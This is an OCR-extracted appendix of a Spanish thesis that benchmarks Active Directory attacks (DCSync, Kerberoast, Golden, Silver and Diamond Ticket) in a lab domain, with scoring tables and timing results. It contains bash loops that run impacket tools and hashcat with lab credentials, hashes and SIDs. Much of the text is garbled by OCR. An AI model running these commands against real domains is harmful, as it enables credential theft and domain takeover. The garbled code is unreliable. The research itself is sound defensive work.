I = Ether This connection uses the following items: General - Aternative Configuration
B Ciient for Microsoft Networks ~ ;:u can ialt il seﬂt:mgs assigned al:itnmaskm”y if your nitw;rk supports
= mr ; is capabllity. Othernise, you need to ask your network administrator
® Dial- e S ot e B
. Intemet Protocol Version 4 (TCP/IPv4)
% VPN [ . Micrasoft Network Adapter Multiplexar Protocel ®0Obtain an IP address automatically
'+, Micrasaft LLDF Protacel Diver (O Use the folloning IP address:
. Intemet Protocal Version 6 (TCP/1PvE) v 1P address: - ]
@ Proxy| < >
Install Uninstall Propetties
Description
Transmission Cortrol Protocol/Intsmet Protocol. The defautt !
wide area network protocol that provides communication (O Obtain DS server address automaticaly
across diverse interconnected networks. (®)Use the following DNS server addresses:
Preferred DNS server: 192 . 168 . 56 . 11F
oK Cancel Alternative DNS server: 192 . 168 . 161 . 115
[ validate settings upon exit e
2items 1 item selected

Figura 12

Conexién del usuario al dominio adlab.local.

&= Settings

f Home Access work or school

Find a setting

o

Get access to resources such as email, apps and the network.
Connecting means that your work or school might control some things
on this device, such as which settings you can change. Ask them for
Accounts o 5

specific info about this.

= Yourinfo + Connect

=1 Email & accounts

Sign-in options Related cattinae

Join a domain
Access work or school

Join a domain

AR, Family & other users

Domain name

Windows backup adla ca\‘

Q
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Figura 13
Configuracion del DNS desde Linux.

@ = 2m 51s cat fetc/hosts
localhost
Degrédne

192.168.56.115 adlab.local dc.adlab.local dc

# The following lines are desirable for IPv6 capable hosts
Ji L localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 1ip6-allrouters

Figura 14
Instalacion de paquetes kerberos necesarios.
apt install krb5-user

[sudo] password for dggr4ne:
Installing:

Installing dependencies:
} onfig

Suggested packages:
krb5-k5tls

Summary:
Upgrading: 0, Installing: 2, Removing: 0, Not Upgrading: 1
Download size: 144 kB
Space needed: 489 kB / 607 MB available

Figura 15
Cadigo de ejecucion del ataque DCSync en bash.
2 output_file="tiempos_dcsync.csv"
3 echo "Ejecucidn,Tiempo ()" > "$output_file" # Encabezado CSV
4
5 for i in {1..10}; do
6 start=%(date +%s.%N)
i secretsdump.py 'DC/jhon.smith:P3aceAndHonor! '@l92.168.56.115 > /dev/mull 2>&1
8 end=%(date +%s.%N)
9
18 runtime=%_echo "$end - S%start” | bc -1)
11 echo "%i,$runtime” >> "Soutput file"
12 echo "$runtime"”
13 done
14
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Figura 16

Caodigo de ejecucion del ataque Kerberoast en bash.

1 | #!/bin/bash
2 output_file="tiempos_kerberocast.csv"
3 echo "Ejecucidn,Tiempo (s)" > "$output_file" # Encabezado CSV
4
5 for i in {1..1@}: do
6 start=%(date +¥%s.%N)
7 impacket-GetUserSPNs dc.adlab.local /brandon.montero:iloveyoul23 -dc-ip 192.168.56.115 -request > /dev/mull 2>&1
8
9 hashcat -m 13180 --force -a @ kerberocasting.hashes wordlist.txt --potfile-disable
18
11 end=%(date +%s.%N)
12
13 runtime=%(echo "$end - $start” | bc -1)
14 echo "$i,$runtime" >> "$output_file”
15 echo "$runtime”
16  dome
Figura 17
Caodigo de ejecucion del ataque Diamond Ticket en bash.
1 #!/bin/bash
2  output_file="tiempos_DiamondTicket.csv"
3 echo "Ejecucidn,Tiempo (s)" > "S$output_file" # Encabezado CSV
4
5 for i in {1..1@}; do
6 start=%(date +%s.%N)
7 ticketer.py -domain adlab.local -user administrator \
8 -nthash 'a3f5c2e%b8d74123d4e8c1a6f9b2e345" %
9 -kdc dc.adlab.local -domain-sid '5-1-5-21-1722891529-3194281451-4821459652"
B -krbtgt 'B8cteldldicdB8aBaBiie%aleldbedcl?’ \
1 -extra-pac > Jdev/mull 2>&1
2 export KRBSCCNAME=~/Tesis/administrator.ccache > /fdev/null 2>&1
3 end=%(date +%s.%N)
4 runtime=${echo "$end - $start" | bc -1)
5 echo "$i.%runtime"” >> "$output file"
& echo *$runtimeﬂ
7 done
Figura 18

Cddigo de ejecucion del ataque Golden Ticket en bash.

1 #!/bin/bash

2  output_file="tiempos_GoldenTicket.csv"

3 echo "Ejecucidn,Tiempo (s)" > "$output_file" # Encabezado CSV

4 for i in {1..1@}; do

5 start=%(date +%s.%N)

6 ticketer.py -nthash '88cteld2d7cdB8a@aB8f7e%ale3dbed4cl?' -domain-sid 'S-1-5-21-1722891529-3194281451-4021459652
7 -domain adlab.local administrator > /fdev/mull 2>&1

8 export KRBSCCNAME=~/Tesis/administrator.ccache > /dev/null 2>&1
9 end=%(date +%s.%N)

10 runtime=§(echo "$end - $start" | bc -1)

11 echo "$i,%runtime" >> "$output_file”

12 echo "$runtime"

13 done
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Figura 19

Cddigo de ejecucion del ataque Silver Ticket en bash.

e I = LR B e A

W00

16
11
12
13
14

#1 /bin/bash

output_file="tiempos_SilverTicket.csv"

echo "Ejecucidn,Tiempo (s)" > "Soutput_file" # Encabezado CSV
for i in {1..10}: do

done

start=$(date +%s.%N)

Lookupsid.py -hashes ':33aad@22ceB899lecclebetde39ce472b' 'adlab.local'/'dc$'@dc.adlab.local @ > fdev/mull 2>&1

ticketer.py -nthash '33aad@?2ceB899leccleSebde39ce472b' -domain-sid '5-1-5-21-1722891529-3194281451-4021459652°
-domain adlab.local -spn cifs/ad.adlab.local Administrater > /dev/mull 2>&1

export KRBSCCNAME=~/Tesis/Administrator.ccache > /dev/mull 2>&1

end=%(date +%s.%N)

runtime=$(echo "$end - $start” | bc -1)

echo "$i,$runtime" >> "$output file"

echo "$runtime"
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Anexo 06

Registros de evaluacion de cada ataque segun dimensiones

Evaluacion de los requisitos técnicos de los ataques ejecutados desde Windows.

Requisitos técnicos del ataque

Ataque

Herramientas

Privilegios

Conocimiento

Puntaje Total

Nivel

técnico
DCSync 2 3 1 6 Medio
Kerberoast 2 1 3 6 Medio
Silver Ticket 2 3 3 8 Alto
Golden Ticket 2 3 3 8 Alto
DiT"’;[:"koert'd 2 3 3 8 Alto

Evaluacion de los requisitos técnicos de los ataques ejecutados desde Linux.

Requisitos técnicos del ataque

Ataque Herramientas | Privilegios Cor;gg:}r:wcignto P.?g::# Nivel
DCSync 1 3 1 5 Medio
Kerberoast 1 1 2 4 Bajo
Silver Ticket 1 2 3 6 Medio
Golden Ticket 1 2 3 6 Medio
DiTaika‘gt‘d 1 2 3 6 Medio
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Evaluacion de la dificultad de realizacion de los ataques ejecutados desde Windows.

Dificultad del ataque
Complejidad | Facilidad de Estabilidad vael_ de | Puntaje _
Ataque de los pasos uso de del ataque automatizacion Total Nivel
técnicos herramientas 9 del ataque
DCSync 1 2 1 2 6 Medio
Kerberoast 1 2 1 2 6 Medio
Silver
Ticket 3 2 1 3 9 Alto
Golden
Ticket 3 2 1 3 9 Alto
Diamond i
Ticket 1 2 1 2 6 Medio

Evaluacion de la dificultad de realizacion de los ataques ejecutados desde Linux.

Dificultad del ataque

Complejidad | Facilidad de - Nivel de .
Estabilidad .. | Puntaje .
Ataque | de los pasos uso de automatizaci Nivel
o - del ataque | ; Total
técnicos herramientas On del ataque
DCSync 1 2 1 1 5 Medio
Kerberoast 2 1 1 2 6 Medio
Silver .
Ticket 3 2 1 2 8 Medio
Golden
Ticket 3 2 1 3 9 Alto
Diamond .
Ticket 1 1 1 2 5 Bajo
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Evaluacion de la dificultad de deteccion de los ataques ejecutados.

Dificultad de deteccion

Existencia de o Herramientas .
- Posibilidad de . Puntaje .
Ataque eventos unicos . requeridas Nivel
. falsos positivos Total
o fiables para detectar
DCSync 1 2 2 5 Medio
Kerberoast 2 2 1 5 Medio
Silver Ticket 3 3 3 9 Alto
Golden Ticket 3 3 3 9 Alto
Diamond
Ticket 3 3 3 9 Alto
Evaluacion de la dificultad de mitigacién de los ataques ejecutados.
Dimension: Dificultad de Mitigacién
Comple_:Jldad de Disponibilidad | Impacto en Puntaje .
Ataque acciones . h Nivel
. de soluciones | la operacién Total
preventivas
DCSync 1 1 1 3 Bajo
Kerberoast 2 2 3 7 Alto
Silver Ticket 2 2 3 7 Alto
Golden Ticket 2 2 2 6 Medio
Diamond i
Ticket 2 2 2 6 Medio
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Evaluacion de la dificultad de respuesta de los ataques ejecutados.

Dificultad de Respuesta

ReCUIsos Tiempo Complejidad de Puntaje
Ataque Necesarios estlmadq ,de las acciones de Total Nivel
contencion respuesta

DCSync 2 2 2 6 Media

Kerberoast 2 1 3 6 Medio
Silver Ticket 2 2 3 7 Alto
Golden Ticket 2 3 3 8 Alto
Diamond Ticket 2 3 3 8 Alto

73




Anexo 07
Registros de los tiempos de ejecucion en segundos de los ataques desde Windows y Linux

DCSYNC Kerberoast Silver Ticket

N Linux |[Windows |Linux Windows | Linux Windows
1 6,76 10,76 11,18 11,31 4,73 5,31
2 7,34 9,54 11,09 10,92 4,53 5,48
3 7,76 9,31 11,09 10,89 4,58 5,01
4 6,66 9,71 10,31 11,97 4,32 5,46
5 7,56 10,47 10,10 11,01 4,3 5,83
6 6,5 10,52 11,08 11,06 4,33 5,43
7 6,76 10,26 11,16 10,87 4,93 5,47
8 6,96 10,93 11,36 11,67 4,55 5,35
9 7,56 10,09 11,52 11,45 4,08 5,76
10 7,63 9,60 10,53 11,73 4,47 5,01

Promedio 7,15 10,119 10,94 11,288 4,48 5,411

Desviacion

estandar 0,47 0,56 0,47 0,4 0,244 0,27
Golden Ticket Diamond Ticket

N Linux | Windows Linux Windows
1 5,58 5,28 6,07 5,78
2 5,33 5,72 5,86 6,54
3 6,27 5,53 5,84 6,3
4 5,93 6,21 6,32 5,94
5 5,67 5,39 5,35 5,6
6 5,07 5,83 5,45 5,61
/ 6,31 6,47 6,16 5,92
8 5,93 577 6,19 5,7
9 5,97 5,47 5,51 6,03
10 5,02 6,2 6,71 5,83

Promedio 5,71 5,787 5,95 5,925

Desviacion

estandar 0,46 0,4 0,43 0,3
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